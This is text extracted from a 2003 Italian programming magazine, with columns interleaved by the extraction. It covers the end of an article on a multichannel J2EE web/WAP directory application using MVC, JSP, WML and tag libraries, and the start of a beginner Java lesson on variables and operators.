servlet l’output ottenuto dall’esecuzione di un’altra siamo concentrarci sulla componente di presentazio-
componente applicativa (in questo caso una pagina ne dell’applicazione. Come specificato nei requisiti
JSP) alla quale vengono passati la Request (contenen- funzionali dell’applicazione ci serviranno almeno tre
te tutti i parametri passati nella chiamata http inizia- distinte visualizzazioni: ricerca, lista e dettaglio. Cia-

78 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 10:59 Pagina 79

E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i

scuna di esse dovrà essere erogata attraverso i canali contenuto nella pagina ricerca_html.jsp. Il Controller,
Web e Wap, di conseguenza, per come funziona il no- che segue fedelmente il Pattern MVC, rigira la Re-
stro Controller, dovremo sviluppare le seguenti pagi- quest alla pagina JSP di destinazione, la lista_html.jsp.
ne JSP: ricerca_html.jsp, lista_html.jsp, dettaglio_html.jsp Dall’interno di quest’ultima possiamo recuperare
per il canale Web e le analoghe ricerca_wml.jsp, li- questo valore ed utilizzarlo per effettuare la query
sta_wml.jsp, dettaglio_wml.jsp per il canale Wap. sul database e restituire così all’utente la lista dei re-
Iniziamo con l’implementazione del canale Web e ve- cord che soddisfano il criterio di ricerca. Se però
diamo come strutturare la pagina di ricerca. L’obiet- avessimo fatto la query direttamente all’interno della
tivo è ottenere il risultato di Fig. 5, pertanto il codice
della pagina JSP sarà quello presente nel file ricer-
ca_html.jsp.
pagina JSP avremmo mescolato il livello di presenta-
zione con quello di logica di business, pertanto dele-
ghiamo questo valore ad un componente apposito
J2EE
che, nel nostro caso, è rappresentato da una Tag Li-
brary. Il Tag che utilizziamo si chiama ListTag ed è Applicazioni
contenuto nella libreria di Tag che viene dichiarata al- J2EE multicanale
l’inizio della pagina JSP. Si tratta di un Tag intelligen-
te che riceve come parametri il linguaggio per il qua-
le deve produrre l’output ed il criterio di ricerca da
applicare, la sua implementazione la vedremo più
avanti analizzando la componente Model. A questo
punto abbiamo la lista di tutte le persone inserite nel-
la rubrica che soddisfano il criterio di ricerca che ab-
biamo inserito. Se facciamo click sulla freccia a sini-
stra di uno dei nomi otterremo, attraverso una fun-
zione JavaScript, l’apertura di una finestra popup di WML
Wireless Markup
dettaglio, come mostrato in Fig. 7. Language è un lin-
Fig. 5: Pagina di ricerca sul canale Web.
guaggio di marcatura
(esattamente come il
tradizionale HTML) uti-
Si tratta, come si può vedere, di una semplice pagina
lizzato per veicolare
HTML contenente un form che consente di inserire il informazioni attraverso
cognome da ricercare all’interno della rubrica azien- il protocollo applicativo
dale. La cosa interessante da notare è che alla pres- Wap.
Per visualizzare le pagi-
sione del tasto Invia si ottiene il submit del form e si
ne scritte utilizzando
passa al Controller, oltre al parametro cognome per WML (i cosiddetti Deck)
effettuare la ricerca, anche il nome della Action che è necessario utilizzare
vogliamo eseguire, cioè “lista”. L’output del motore un dispositivo abilitato e
dotato di un Wap Brow-
di ricerca, erogato sul canale Web, è visibile in Fig. 6.
ser.
Ogni pagina WML si divi-
de in sezioni chiamate
Fig. 7: Dettaglio sul canale Web Card che rappresentano
l’unità minima di infor-
mazione trasmissibile
La chiamata al dettaglio avviene attraverso la costru- dal server al client.
zione, da parte del Tag personalizzato e per ogni re- Il linguaggio WML è di
cord che deve essere mostrato nella pagina, di una fatto un’applicazione di
XML, pertanto ogni pa-
porzione di codice HTML di questo tipo: gina WML deve essere
un documento XML ben
<td width="10%" align="center"> formato e deve essere
valicabile attraverso
<a>
un’apposita grammati-
<img src="img/[Link]" alt="Dettaglio" ca, in caso contrario po-
width="70" height="25" border="0" trebbe non essere frui-
onClick="[Link]('Controller?Action= bile attraverso i disposi-
tivi di destinazione.
dettaglio&id=1','_blank',...);">
</a>
Fig. 6: Lista sul canale Web. </td>

Il codice della pagina lo trovate in lista_html.jsp. In particolare al click sull’immagine viene aperta una
Le parti in grassetto rivestono particolare importan- nuova finestra che punta nuovamente al Controller e
za, vediamo di analizzarle meglio. Come sappiamo il gli passa il parametro Action=dettaglio e l’id del re-
Controller riceve all’interno della Request HTTP il cord da visualizzare all’interno della finestra popup.
parametro cognome che gli viene passato dal form Il codice della pagina lo trovate in dettaglio_html.jsp.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 79
076 081 Mobile 4-06-2003 10:59 Pagina 80

P a l m a r i G G G G G G G G G G G G G G G G G G G G G G G

Analogamente a quanto faceva la pagina della lista, dale lo trovate nella pagina ricerca_wml.jsp. Se ripe-
anche in questo caso è necessario utilizzare un Tag tiamo la stessa chiamata fatta in precedenza, cioè la
personalizzato per ottenere l’esecuzione della logica chiamata al Controller cui viene passato il parametro
di business, la query sul database in funzione dell’id Action=ricerca questa volta però non attraverso un
del record selezionato (e cha anche questa volta ritro- browser Web, ma attraverso un browser Wap come
viamo nella Request HTTP) e la produzione del co- l’emulatore Openwave [Link], il Controller si
dice di presentazione in funzione del linguaggio di accorgerà che la chiamata avviene sul canale Wap e la
markup utilizzato. redirigerà proprio sulla pagina ricerca_wml.jsp otte-

J2EE
nendo l’output di Fig. 8 a. Dopo aver inserito un cri-
terio di ricerca, ad esempio la stringa “rossi”, sarà
LA COMPONENTE VIEW possibile premere il tasto accept del telefono cellula-
PER IL CANALE WAP re (nel modello emulato si tratta del tasto di sinistra)
Applicazioni Abbiamo cosi visto tutti gli aspetti di presentazione al quale, nel codice WML, abbiamo assegnato l’eti-
J2EE multicanale legati al canale Web, adesso ci concentriamo sul ca- chetta “cerca” e che chiamerà il Controller passando-
nale Wap tenendo conto che abbiamo già messo del- gli il parametro Action=lista ed il criterio con cui fare
le solide basi architetturali, ovvero: la ricerca. Quello che otterremo sull’emulatore, visi-
bile in Fig. 8 b, è nuovamente la lista di tutti i nomi-
• abbiamo realizzato un Controller in grado di di- nativi che soddisfano il criterio di ricerca, questa vol-
scriminare in funzione della funzione selezionata ta generato dalla pagina lista_wml.jsp, eccone il codi-
e del canale di erogazione; ce:
• abbiamo anche una Tag Library che produce, in
funzione del canale di erogazione, il linguaggio <%@ page contentType="text/[Link];
di markup corretto. charset=iso-8859-1" language="java"
import="[Link].*" %>
A questo punto, per produrre la componente di pre- <%@ taglib uri="[Link]
[Link]
Lo sviluppo di pa- sentazione per un altro canale, è necessario tener con- prefix="mcapptags" %>
gine WML potreb- to anche degli schemi di navigazione applicati in pre- <!DOCTYPE wml PUBLIC "-//[Link]//DTD WML
be non essere banale cedenza per capire se sono compatibili con il canale 1.1//EN" "[Link]
se non esistessero
verso il quale stiamo cercando di erogare l’informa- <% String cognome = (String)[Link](
emulatori e simulatori
in grado di permetterci zione. Nel nostro caso infatti non sarà possibile ap- "cognome"); %>
in locale il test delle plicare per il canale Wap la stessa struttura di navi- <wml>
nostra pagine WML. gazione utilizzata per il canale Web perché, ad esem- <card title="Lista">
Un prodotto completo e
pio, su questa tipologia di canale non esiste il concet- <do type="options" label="Indietro">
utilizzabile liberamen-
te è il [Link] scaricabi- to di finestra Popup, quindi sarà necessario trovare <prev/>
le dall’indirizzo una modalità differente per visualizzare il dettaglio. </do>
Tenendo conto, inoltre, dei dispositivi che utilizze- <p align="center"><b>Multichannel</b></p>
[Link]
ranno l’applicazione (i telefoni cellulari dotati di Wap <p align="center">Elenco alfabetico</p>
che contiene un com- Browser) dovrà essere nostra cura cercare per quan- <p>&nbsp;</p>
pleto tool di sviluppo to possibile di utilizzare gli strumenti classici di na- <p>Cognome Nome (Filiale)</p>
con tanto di specifiche vigazione come i tasti accept ed options presenti su <mcapptags:ListTag language="wml"
WML 1.1 e WMLScript,
quasi tutti i telefoni. Il codice della pagina JSP che ci cognome="<%=cognome%>"/>
documentazione di va-
ria natura ed un com- permette di effettuare la ricerca sulla rubrica azien- </card>
pleto simulatore WML </wml>
1.1. La piattaforma di
sviluppo è completa e
supporta anche le tran- La pagina in questione, come si può vedere, produce
a) b) c)
sazioni Wap in moda- codice WML ed utilizza lo stesso Tag personalizzato
lità Push. della sua omologa lista_html.jsp, con la differenza che
il parametro language questa volta ha valore “wml”,
in questo modo il Tag genererà codice WML ed in
particolare, per ogni record compatibile con i criteri
di ricerca, produrrà un frammento di codice di que-
sto tipo:

<p>
<anchor title="Dettaglio">Rossi Mario (Milano)
<go href="[Link]
<postfield name="id" value="1" />
Fig. 8: a) Pagina di ricerca sul canale Wap.
b) Lista sul canale Wap. <postfield name="Action" value="dettaglio" />
c) Dettaglio sul canale Wap. </go>

80 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
076 081 Mobile 4-06-2003 11:00 Pagina 81

E E E E E E E E E E E E E E E E E E E E E E E E P a l m a r i

</anchor> direttamente dal codice della pagina JSP. La seconda


</p> classe, analogamente, esegue la query di selezione
estraendo tutti i campi del record con quel particola-
Il comportamento della pagina sull’emulatore sarà re id e genera la porzione di codice di markup neces-
quindi il seguente: alla pressione del tasto options del saria a completare il codice prodotto direttamente
dispositivo, in questo caso si tratta di quello di destra, dalla pagina JSP.
si effettuerà un back alla pagina precedente, cioè al
motore di ricerca. Alla pressione del tasto accept si
raggiungerà il link al momento selezionato, cioè una
chiamata al Controller passandogli come parametri
la Action=dettaglio e l’id del record selezionato. In que-
DEPLOY
Per installare l’applicazione sul vostro Tomcat 4.x è
sufficiente copiare il file [Link] nella directory we-
J2EE
sto caso il Controller si occuperà di reindirizzare la bapps di Tomcat e far partire l’application server,
Request HTTP verso la pagina dettaglio_wml.jsp il cui verrà immediatamente scompattato il file war e verrà Applicazioni
output è mostrato in Fig. 8 c ed il cui codice sorgente generata la directory mcapp corrispondente al con- J2EE multicanale
potete leggerlo nel file allegato al CD. In questo caso, text dell’applicazione.
data la tipologia del dispositivo, non è possibile apri- A questo punto potrete raggiungere la pagina di ri-
re un popup, ma viene chiamata direttamente la nuo- cerca attraverso l’url: [Link]
va pagina nella finestra principale (ed unica) del di- troller?Action=ricerca.
spositivo. Per vedere tutti i dati della schermata di Per installare invece tutta l’alberatura compreso i sor-
dettaglio è necessario scrollare verso il basso attra- genti, è sufficiente inserire nel file $TOMCAT_HO-
verso gli appositi tasti funzione del dispositivo. ME/conf/[Link], il file di configurazione di Tomcat,
Questa pagina di dettaglio è molto simile alla sua la seguente sezione:
omologa dedicata alla produzione di codice HTML,
con la differenza che il linguaggio prodotto è WML <Context
Tag Libraries
ed allo stesso modo viene modificata la chiamata al path="/mcapp" reloadable="true" A partire dalle
Tag personalizzato per fare in modo che anch’esso docBase="C:\Progetti\mcapp\web" specifiche JSP 1.1
produca codice compatibile con il dispositivo di de- workDir="C:\Progetti\mcapp\web\work\org è possibile utilizzare, al-
l’interno delle pagine
stinazione. Vediamo quindi il funzionamento di que- \apache\jsp" >
JSP, delle librerie di tag
sti Tag inseriti all’interno della Tag Library. <Logger personalizzati che per-
className="[Link]. mettono di separare dal
SystemOutLogger" codice JSP alcune fun-

LA COMPONENTE MODEL verbosity="4" timestamp="true"/>


zionalità dotate di una
propria componente vi-
La componente che implementa la vera logica di bu- </Context> suale.
siness dell’applicazione e che si occupa di effettuare Una Tag Library è una
la query sul database e restituirne i dati alla compo- che serve ad indicare al server che al context /mcapp collezione di tag perso-
nalizzati in grado di de-
nente di presentazione, è composta, in questa imple- deve essere associata l’applicazione che è posizionata mandare ad una specifi-
mentazione, da due Tag compresi in una Tag Library. sul file-system nel punto indicato dal parametro doc- ca implementazione la
Una Tag Library permette, in linea generale, di defi- Base. produzione di una parti-
colare zona della pagi-
nire dei Tag personalizzati da inserire nelle pagine
na, e quindi anche della
JSP ed associati ciascuno ad una determinata classe rappresentazione grafi-
che implementa la logica di business. Questa associa- CONCLUSIONI ca della zona stessa.
zione avviene all’interno di un file di configurazione In questo articolo è stata implementata completa- I tag sono in grado, at-
traverso i parametri, di
che deve avere estensione .tld ed è un file in formato mente un’applicazione multicanale con la tecnolo-
interagire con le pagine
xml validabile attraverso un’apposita grammatica gia J2EE ed utilizzando il Pattern MVC per il dise- JSP in modo da incapsu-
DTD. Il file che descrive la nostra libreria di Tag si gno dell’architettura. Sono state realizzate la com- lare funzionalità di
chiama [Link] ed è contenuto, come consuetudine, ponente di Controller che si occupa del dispatching backend che diversa-
mente dovrebbero es-
nella directory WEB-INF. Ad ogni Tag, quindi, corri- delle chiamaate HTTP e le componenti di View e di
sere scritte in codice Ja-
sponde una precisa classe Java che ne implementa la Model che consentono l’erogazione del servizio at- va direttamente all’in-
logica di business, in particolare nel nostro caso le traverso i canali Web e Wap. terno delle pagine JSP.
due classi sono contenute all’interno del package La gestione della multicanalità, seppur semplice in
[Link] e sono in particolare le classi List- questo esempio, può arrivare a livelli di dettaglio
[Link] e [Link]. molto più precisi fino all’individuazione puntuale
La prima si occupa di generare il codice HTML o del singolo dispositivo che vuole accedere all’appli-
WML, in funzione del canale di erogazione, per la li- cazione. Questo rende le applicazioni basate su que-
sta dei record coerenti con i criteri di ricerca inseriti sta architettura particolarmente semplici da svilup-
dall’utente. All’interno del metodo doStartTag trovia- pare e di facile estendibilità quando sia necessario
mo infatti la query di selezione dei record ed una par- inserire il supporto per nuovi canali o nuovi dispo-
te di generazione del codice di markup in funzione sitivi.
del valore dell’attributo language che viene passato Massimo Canducci

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 81
082-086 Java Bas 4-06-2003 11:00 Pagina 82

C o r s i B a s e G G G G G G G G G G G

✓ Java per principianti.


Java
Serene variabili:
dai del “tu” a Java
Eccoci arrivati alla seconda puntata del nostro corso
di Java per principianti assoluti. Il mese scorso abbiamo
visto come si compila e come si lancia un programma
Java. Questo mese cominceremo a imparare qualcosa
di più del linguaggio. In particolare parleremo di uno
degli strumenti più importanti in tutti i linguaggi
di programmazione: le variabili.

Questa istruzione stampa una stringa sullo


File Sul CD

V
ediamo subito cosa imparerai questo schermo e va a capo. Una stringa, nel linguag-
\soft\codice mese. Obiettivi di questa lezione: gio informatico, è una sequenza di caratteri. Il
\[Link]
valore della stringa deve essere racchiuso tra
Sul CD allegato a que- virgolette. Il carattere ‘;’ alla fine dell’istruzione
sto numero di IoPro- • Vedrai come si stampano numeri e stringhe è importante: tutte le istruzioni del linguaggio
grammo troverai tutto sullo schermo. finiscono con un punto e virgola. Di solito si
il codice degli esempi
scrive un’istruzione su ciascuna riga, ma il
di questo mese.
• Ti imbatterai nei fondamentali concetti di compilatore ignora gli a-capo, gli spazi e le ta-
variabile e di tipo. bulazioni quindi, per puro masochismo, po-
tremmo scrivere un lungo e illeggibile pro-
• Comincerai a lavorare con gli operatori. gramma di una sola riga. In realtà l’istruzione
[Link]() non è altro che un metodo.
• Risolverai i tuoi primi problemi di program- La macchina virtuale invoca (si dice così) il me-
File sul Web mazione. todo main(), e il main() invoca il metodo Sy-
[Link]
[Link]() passandogli la stringa che vo-
/ioprog71/[Link]
Cominciamo dal punto in cui ci eravamo la- gliamo stampare. Si dice che la stringa è il pa-
sciati il mese scorso: rametro del metodo. Per ora non hai ancora stu-
diato i metodi, quindi mi fermo qui. L’impor-
class Saluti tante è che tu sappia che, per stampare qualco-
{ sa, puoi usare [Link](), e che devi
public static void main(String[] args) mettere la roba che vuoi stampare tra le due pa-
{ rentesi tonde. Così come stampi una stringa,
[Link]("Saluti a casa!"); puoi stampare qualsiasi altra cosa, ad esempio
} un numero:
}
[Link](3.14);
Avevamo detto che la classe Saluti ha un meto-
do main(), e che questo main() è per convenzio- Ricordati che la notazione è quella anglosasso-
ne il punto di ingresso del programma. ne, quindi per separare i decimali devi usare il
Ci resta da spiegare l’istruzione dentro il “punto” al posto della nostra “virgola”. Giusto
main(): per assicurarti di aver capito bene come funzio-
na il ciclo modifica-compilazione-esecuzione,
[Link]("Saluti a casa!"); eccoti qualche semplice esercizio:

82 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
082-086 Java Bas 4-06-2003 11:01 Pagina 83

E E E E E E E E E E E C o r s i B a s e

• Esercizio 1 – Modifica il programma Stam- ve il primo operando è una stringa e il secondo


pa perché stampi un numero. Compila il un numero. Ad esempio:
programma e lancialo.
[Link](“PI Greco: “ + 3.14);
• Esercizio 2 – Prova a togliere il punto e vir-

Java
gola alla fine della riga. Il compilatore do- Questa istruzione stampa:
vrebbe dare un messaggio di errore.
PI Greco: 3.14
Tutto molto semplice, ma non molto interessan-
te. E’ il momento di cominciare a far di conto. Quest’ultimo esempio comporta alcune cosine
interessanti, e forse non del tutto ovvie. Da
qualche parte, mentre viene eseguita l’istruzio-
LE MOLTE FACCE ne, il numero 3.14 (che è proprio un numero,
DEL “PIÙ” tanto è vero che lo possiamo sommare, divide-
Java, come tutti i linguaggi, ha i suoi operatori, re, eccetera) viene trasformato nella stringa
che ci permettono di fare operazioni come la “3.14”, che è una sequenza di caratteri senza si-
somma o la moltiplicazione. Ad esempio, ecco gnificato numerico. Se questo non accadesse,
la stampa di una somma: l’operatore di concatenamento non potrebbe Java contro
concatenare i due valori. Questa è una cosa me- Microsoft
[Link](1 + 1); no scontata di quello che sembra, e ne riparle- Microsoft basa il
remo quando affronteremo l’argomento del ca- proprio successo
Quando questa istruzione viene eseguita succe- sting. Per ora ci basta sapere che Java capisce sul sistema operativo
Windows. Quindi non
dono due cose. La prima è che l’espressione tra quello che vogliamo fare, e lo fa. Finora abbia- può certo vedere di
parentesi viene valutata. Questo significa che la mo solo stampato un po’ di numeri e stringhe buon occhio un lin-
Macchina Virtuale Java calcola il valore dell’e- sullo schermo. Questi numeri e queste stringhe guaggio che permette
di scrivere programmi
spressione. A dire il vero in questo caso il valo- si chiamano costanti, perché il loro valore non
che girano su qualsiasi
re viene calcolato già dal compilatore, che met- cambia nel corso dell’esecuzione del program- piattaforma. Per que-
te direttamente il risultato nel codice compilato ma. Ad esempio, la costante numerica 3.14 vale sto motivo l’azienda di
Java. Ma a noi per ora non interessa chi sia a fa- sempre 3,14. Allo stesso modo, la costante strin- Bill Gates ha sempre
osteggiato Java, fino al
re i calcoli: ci basta sapere che vengono fatti. ga “xyz” vale sempre e solo “xyz”. Lo so, la co-
punto di rilasciare di
Quindi l’espressione (1 + 1) diventa il valore 2. recente il suo “clone”
La seconda cosa che succede è che il valore vie- Attrezzi da lavoro di Java, di nome C#.
ne stampato dal metodo [Link](). C# è un ottimo lin-
Per cominciare, installa sul tuo computer l’SDK per guaggio, e ha anche
È molto comune, nel campo della programma-
Java 2 Standard Edition. Mentre scrivo, la versione qualche caratteristica
zione, che un’unica istruzione faccia più cose. più recente è la [Link]. L’installer per Windows che a Java manca. Il
Naturalmente, dobbiamo sapere in che ordine si chiama j2sdk-1_4_1_02-[Link], e lo suo limite è quello di
queste cose vengono fatte. Nel caso che abbia- puoi trovare sul sito [Link] Se non hai non essere compatibi-
motivi particolari per cambiare qualche opzione, le con sistemi operati-
mo visto (e anche in quasi tutti gli altri), prima vi diversi da Windows,
allora fai pure un’installazione standard. Oltre al
viene valutata l’espressione e poi viene fatta la sistema di sviluppo (nella cartella c:\j2sdk1. 4.1_ e di non avere le otti-
stampa. Si dice che la valutazione dei parame- 01) ti verrà installato il Java 2 Runtime Environ- me e vastissime libre-
tri ha la priorità sulla chiamata dei metodi. ment, una macchina virtuale visibile da tutto il si- rie di Java. Ti consi-
stema e dal browser. In questo modo avrai un si- gliamo di imparare il
L’operatore “+” significa “somma” quando en- più diffuso e pratico
stema che “conosce Java”, ed è in grado di ese-
trambi gli operandi sono numeri. Se gli operan- guire programmi Java nelle pagine Internet. Java. Potrai passare a
di sono stringhe, allora l’operatore + significa Quando avrai installato il JDK e il JRE sarai già C# in un secondo mo-
quasi a posto. Per scrivere i tuoi primi programmi, mento se ne avrai bi-
“concatenazione”, cioè unisce le due stringhe in
però, ti servirà anche un editor di testo. Se lavori sogno. I due linguaggi
una stringa unica: si somigliano come
sotto Windows puoi usare il terribile Notepad. Noi
però ti consigliamo di fare un piccolo sforzo in più fratelli (fratelli coltelli,
[Link](“A lei e “ + “a sua sorella”); e di scaricare un editor fatto apposta per i pro- in questo caso).
grammatori. Uno decente e gratuito è PSPad
[Link] /pspad/index_en.html. Se sei dispo-
Questa istruzione stampa:
sto a spendere soldi, puoi scaricare un editor più
sofisticato come CodeGenie http: //[Link]-genie
A lei e a sua sorella .com/[Link]. Oltre ad essere migliori del Note-
pad, questi editor hanno alcune caratteristiche che
li rendono particolarmente adatti alla programma-
Tra parentesi, questo è uno dei pochissimi casi zione. Un esempio è la “sintassi colorata”: il pro-
in cui lo stesso operatore Java assume più si- gramma è in grado di capire (guardando l’esten-
gnificati (questa situazione si chiama overloa- sione del file) che stai scrivendo un programma in
ding, nel senso che lo stesso operatore è stato Java, ed evidenzia le varie parti del testo con colo-
ri, grassetto, eccetera, a seconda del loro signifi-
“sovraccaricato” di più significati). Puoi anche cato. Utilissimo – provare per credere.
usare l’operatore “+” in espressioni “miste” do-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 83
082-086 Java Bas 4-06-2003 11:01 Pagina 84

C o r s i B a s e G G G G G G G G G G G

sa ti sembra ovvia. Ma molto spesso ti sarà più le resterà intera per tutta la sua esistenza. Dob-
utile usare delle variabili, cioè dei nomi asso- biamo specificare il tipo della variabile solo la
ciati ad un valore che può cambiare. prima volta che la usiamo. Anzi, se per caso
scrivessimo ancora una volta int anni il compi-
latore penserebbe che vogliamo definire una
LE COSE CAMBIANO
Java
nuova variabile con lo stesso nome di una già
Per pensare alle variabili, puoi immaginare dei definita, e quindi darebbe un errore.
contenitori che contengono un valore. Ciascun Questa faccenda del tipo è fondamentale, quin-
contenitore ha un’etichetta: il suo nome. di vale la pena di parlarne meglio. Ma prima
Ad esempio, il numero dei miei anni (33, anco- facciamo un paio di esercizi.
ra per poco) è un valore costante. Ma posso in-
filarlo all’interno di un contenitore e chiamarlo • Esercizio 3 – Scrivi, nel main() di una classe
anni: di nome Somma, una sequenza di istruzioni
Le versioni che (1) crea una variabile intera di nome x
di Java int anni = 33; che vale 1, (2) crea una seconda variabile in-
Il linguaggio Java
tera di nome y che vale 2, (3) crea una terza
e il suo sistema di
sviluppo vengono conti- La parola chiave int indica che la variabile può variabile intera di nome somma che vale la
nuamente aggiornati da contenere un valore intero. Visto che in questo somma di x e y, e infine (4) stampa la varia-
Sun. È facile fare con- caso non ci interessano i decimali (a nessuno bile somma. Compila il programma e fallo
fusione tra le varie ver-
sioni, quindi ecco un
importa di sapere che ho 33,7 anni!) un valore girare.
breve chiarimento. L’at- intero andrà benissimo. Con questa istruzione
tuale variante di Java si dico tre cose. Primo: voglio una variabile di no- Questo esercizio è banale per chiunque abbia
chiama Java 2. Da qual- me anni. Secondo: voglio che sia di tipo intero. un minimo di esperienza, ma potrebbe risultar-
che tempo esistono tre
versioni principali di Ja-
Terzo: voglio che contenga il valore 33. Il segno ti ostico se non hai mai programmato prima
va 2: la Standard (J2SE), “=” si chiama operatore di assegnamento, per- d’ora. Prova comunque a risolverlo da solo (da-
la Enterprise (J2EE) e la ché assegna all’operando di sinistra (la variabi- vanti allo schermo, non a mente!). Se non ce la
Micro (J2ME). La prima è
le anni) il valore dell’espressione sulla destra fai, ecco la soluzione:
quella “per tutti”, la se-
conda include una serie (la costante 33). Una volta che ho la variabile
di funzionalità avanzate posso, ad esempio, stamparla: class Somma
per la programmazione {
in ambito aziendale, la
[Link](anni); public static void main(String[] args)
terza serve per pro-
grammare i dispositivi {
elettronici come i cellu- Come al solito, la Macchina Virtuale risolverà int x = 1;
lari. A noi interessa Java l’espressione tra parentesi prima di stamparla. int y = 2;
2 Standard Edition. Se
In questo caso l’espressione è il nome di una va- int somma = x + y;
volessimo solo far girare
i programmi Java sul no- riabile, e il suo valore è 33. [Link](somma);
stro sistema, ci baste- Se le variabili esistessero solo per dare un nome }
rebbe visitare la pagina ai valori, allora non sarebbero molto utili. La lo- }
[Link]
va/ e avere un po’ di pa-
ro grande potenza sta nel fatto che il valore che
zienza. Il browser scari- contengono può, appunto, variare. Compila il programma con [Link] e lancialo
cherà e installerà la ver- Ad esempio: con [Link]. Naturalmente il file sorgente deve
sione più aggiornata del chiamarsi esattamente [Link]. E occhio al-
Java Runtime Environ-
anni = anni + 1; l’indentazione, se non vuoi che il tuo program-
ment (JRE), cioè quel-
l’insieme di programmi mino diventi rapidamente incomprensibile!
e librerie che servono Questa operazione può sembrare un po’ strana. È il momento di affrontare un esercizio un po’
per far funzionare Java
Per capirla devi ricordare che il simbolo = non più complicato:
sulla nostra macchina.
Ma dato che vogliamo indica l’uguaglianza, come in un’equazione, ma
programmare, il JRE non è un operatore che assegna il valore dell’espres- int x = 10;
ci basta. Abbiamo biso- sione sulla destra alla variabile sulla sinistra. int y = 20;
gno del sistema di svi-
Proprio come succede quando stampiamo un’e- // qui vogliamo scambiare il valore di x e quello di y
luppo completo, che in-
clude il JRE e altri com- spressione, la prima cosa che succede è che l’e- [Link](“La variabile x vale “ + x);
ponenti importanti come spressione viene valutata. L’espressione sulla [Link](“La variabile y vale “ + y);
il compilatore. Il siste- destra vale 33 più 1, quindi 34. Questo valore
ma di sviluppo di Java 2
verrà assegnato di nuovo alla variabile anni, La riga che comincia con la doppia barra è un
si chiama Java Develop-
ment Kit, o più breve- che quindi dopo questa istruzione avrà il valo- commento. I commenti servono solo a chi legge
mente JDK. re 34. il codice, e il compilatore li ignora. Il modo più
Nota anche che non abbiamo dovuto usare la semplice per scrivere il commento in Java è una
parola chiave int. Abbiamo già specificato che si doppia barra. Un commento può iniziare (con
tratta di una variabile intera, quindi la variabi- la doppia barra) in qualsiasi punto di una riga,

84 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
082-086 Java Bas 4-06-2003 11:01 Pagina 85

E E E E E E E E E E E C o r s i B a s e

e include tutto quello che c’è dalla doppia barra x = 10; // assegna il valore 10 alla variabile x
fino alla fine della riga.
Al posto del commento vogliamo inserire le Quanto vale x dopo la prima di queste due
istruzioni che scambiano il valore delle due va- istruzioni? Non vale niente – il suo valore non è
riabili x e y. Quindi x deve assumere il valore di definito. In alcuni linguaggi, una variabile non

Java
y, e y quello di x (naturalmente questo deve va- inizializzata ha un valore a caso. Questo ap-
lere per qualsiasi coppia di valori – non è una proccio può essere pericoloso, perché potresti
soluzione valida scrivere semplicemente x = 20 dimenticarti di inizializzare la variabile. Java è
e y = 10!). Dopo aver scambiato i valori possia- un linguaggio che preferisce sempre andare sul
mo stamparli. sicuro, quindi il compilatore dà un errore se
provi a usare una variabile senza inizializzarla
• Esercizio 4 – Metti le istruzioni che hai ap- prima.
pena visto nel main() di un programma di E se invece della seconda istruzione dimentichi
nome Swap (inglese per “scambio”). Al po- la prima? Anche in questo caso avrai un errore.
sto del commento scrivi le istruzioni che Il compilatore incontra il nome x, ma non lo co-
scambiano i valori di x e y. nosce e non sa come interpretarlo. Quindi, stai
tranquillo: se dimentichi di dichiarare o di ini-
Questo esercizio comporta un dilemma. Se as- zializzare una variabile, il compilatore ti avvi-
segniamo direttamente ad una variabile il valo- serà subito.
re dell’altra, allora perdiamo il valore preceden- E ora un altro esercizio:
te. Ad esempio, se scriviamo:
class Variabili
x=y {
public static void main(String[] args) Convenzioni,
allora il precedente valore di x va perso. Come { convenzioni
facciamo a scambiare i due valori senza perder- int x; // prova a cancellare questa riga... La convenzione
Java per i nomi
li? Se non ti viene subito in mente come fare, x = 10; // e poi prova a cancellare questa
delle variabili è simile
pensaci un po’ su. La soluzione è alla fine di [Link]("La variabile x vale " + x); a quella per i nomi del-
questo articolo. } le classi, con un’ecce-
} zione: il nome inizia
con una lettera minu-
DUE GRADINI • Esercizio 5: Nel programma Variabili prova
scola. Le parole suc-
cessive alla prima han-
IN UN SOLO PASSO a cancellare (o a “commentar via” aggiun- no invece la lettera
Torniamo alla nascita delle variabili. Hai già im- gendo una doppia barra all’inizio) prima la maiuscola. Ad esem-
pio: x, contatore e
parato che per definire una nuova variabile dichiarazione, poi l’inizializzazione della sommaParziale sono
puoi scrivere un’istruzione simile a questa: variabile x. Quali messaggi di errore ti dà il buoni nomi di variabi-
compilatore nei due casi? le, mentre SommaPar-
int x = 10; ziale non lo è. Come al
solito si tratta solo di
una convenzione per
Questa istruzione dice tre cose, ma solo le pri- PROPRIO UN BEL TIPO rendere il codice più
me due sono inseparabili: leggibile, non di una
regola del linguaggio.
Visto che abbiamo parlato dell’operatore +, tan-
1) vogliamo una variabile di nome x, e allo to vale fare la conoscenza dei più importanti
stesso tempo vogliamo che questa variabile operatori aritmetici di Java. Ecco un program-
sia di tipo int; mino di esempio:

2) vogliamo assegnare il valore 10 alla variabi- class Operatori


le x. {
public static void main(String[] args)
La prima di queste due fasi si chiama dichiara- {
zione, perché dice al compilatore: voglio una int x = 7;
variabile intera di nome x. La seconda si chiama int y = 2;
inizializzazione, perché assegna ad x il suo va- [Link](x + y); // somma
lore iniziale. Queste due fasi sono talmente ben [Link](x - y); // sottrazione
distinte che, anche se spesso sono composte in [Link](x * y); // moltiplicazione
un’unica istruzione, possiamo sempre metterle [Link](x / y); // divisione
in due istruzioni separate: [Link](x % y); // modulo
}
int x; // dichiara una variabile x di tipo int }

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 85
082-086 Java Bas 4-06-2003 11:02 Pagina 86

C o r s i B a s e G G G G G G G G G G G

Gli operatori sono ‘+’ (somma), ‘-’ (sottrazione), “tipi importanti”. Come dici?
‘*’ (moltiplicazione), ‘/’ (divisione) e % (modu- Ah, giusto… Ti avevo promesso la soluzione
lo). I simboli non sono gli stessi dell’aritmetica, dell’Esercizio 4. Il modo più semplice per scam-
ma i loro significati sì. E’ possibile che l’opera- biare i valori di x e y è quello di usare una terza
